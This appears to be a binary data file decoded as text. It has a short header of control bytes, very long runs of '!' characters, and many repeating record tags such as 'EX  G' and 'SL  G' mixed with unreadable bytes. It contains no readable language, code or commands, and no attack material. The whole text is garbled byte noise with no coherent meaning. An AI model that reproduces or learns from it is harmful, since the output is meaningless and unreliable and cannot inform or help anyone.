0i!e %8(N'')!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
Z+ym*^8!!!!`FF20	1
1
-Ì<e_	EX  ^LEX  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|`e` O%V	_	EX  GtEX  Gz
EX  G&nEX  DOjEX  GEX  G4A*EX  Gme
+EX  G߭,EX  G-EX  GQ.EX  G/EX  G>0EX  D>0EX  Gb1EX  Db1EX  G&m1SL  G52EX  G_2SL  GDj3	SL  G}^4	SL  GR5	SL  G5EX  G
G6	SL  G(2;7	EX  G`d8EX  Gj8DL  Gj8SL  Gj8UP  GĄX9EX  GL:EX  GE;	SL  Go4<EX  GT<SL  G)=EX  G9>EX  GI>SL  G@EX  D@EX  GAEX  DAEX  GwBSL  GBEX  DBEX  G(CSL  G7CEX  G7CEX  GADSL  GADUP  G[EEX  GeESL  Gu}F	SL  GFEX  G0HSL  GTȚHEX  DTȚHEX  GIEX  DIEX  GJEX  DJEX  G 
KSL  G4wKEX  G8YkLEX  G8YkLEX  GޠEX  GޠEX  GyQ
SL  GyQSL  G@9EX  Gy-EX  G.EX  G
"EX  G$S
	EX  G]w	EX  G]w	EX  G'%"
SL  G'%"SL  Gm$EX  GG-EX  G|
SL  G|SL  G{rXEX  G&4
EX  G)3
EX  Gb4
EX  G6
EX  G
B7
EX  GaS,
SL  GaS,SL  G//EX  G3EX  G~D1
EX  G?r>
SL  G6C
SL  GGEX  G֩GEX  GHEX  GHIEX  GJEX  G:KEX  G$SL  G$SL  G3SL  G3SL  G4^SL  G4^SL  GSL  GSL  G:WESL  G:WESL  GWJSL  GWJSL  G3m	EX  GEX  G
EX  G٥EX  GT<EX  GY1?EX  Gr5=>EX  G}%@EX  G0KEX  GTLEX  G\8EX  Gl:EX  G`;EX  GUx9EX  G5EX  GnEX  GðEX  GzeEX  GSL  GEX  G%EX  G^EX  G9EX  G[EX  G}7EX  G`EX  GDEX  GEX  GEX  G'^EX  GEX  G(EX  GASL  GX\GSL  GǎSL  GEYH$SL  G/
SL  GSL  G|*6SL  GSL  GS-rSL  GL*SL  Gp+SL  G,SL  GU-SL  Gݐ.SL  G/SL  G&y0SL  G9Jm1SL  Grna2SL  GI4SL  G=5SL  GV16SL  G#&7SL  GG8SL  G8(SL  Gq()SL  G)(EX  GQGSL  G0&SL  G/SL  Gp6!SL  GaSL  G%SL  GISL  GnxSL  G	~SL  GuZSL  Gi?SL  Gɍ@SL  G<SL  GWE>SL  G!=SL  G*#EX  G%EX  Gƻ&EX  GTs%EX  G;SL  Gb
)EX  G'SL  GP
SL  GI8yR
EX  GGEX  G֩GEX  GHEX  GHIEX  GJEX  G:KEX  G^LEX  Gb
EX  GbEX  GKģc
EX  GKģcEX  G0s
EX  G$SL  G$SL  G3SL  G3SL  G4^SL  G4^SL  GSL  GSL  G:WESL  G:WESL  GWJSL  GWJSL  G+XSL  G+XSL  G=)_SL  G=)_SL  GK?gSL  GK?gSL  G"lSL  G"lSL  GyRzSL  GyRzSL  GvoSL  GR!nSL  G3m	EX  GEX  G
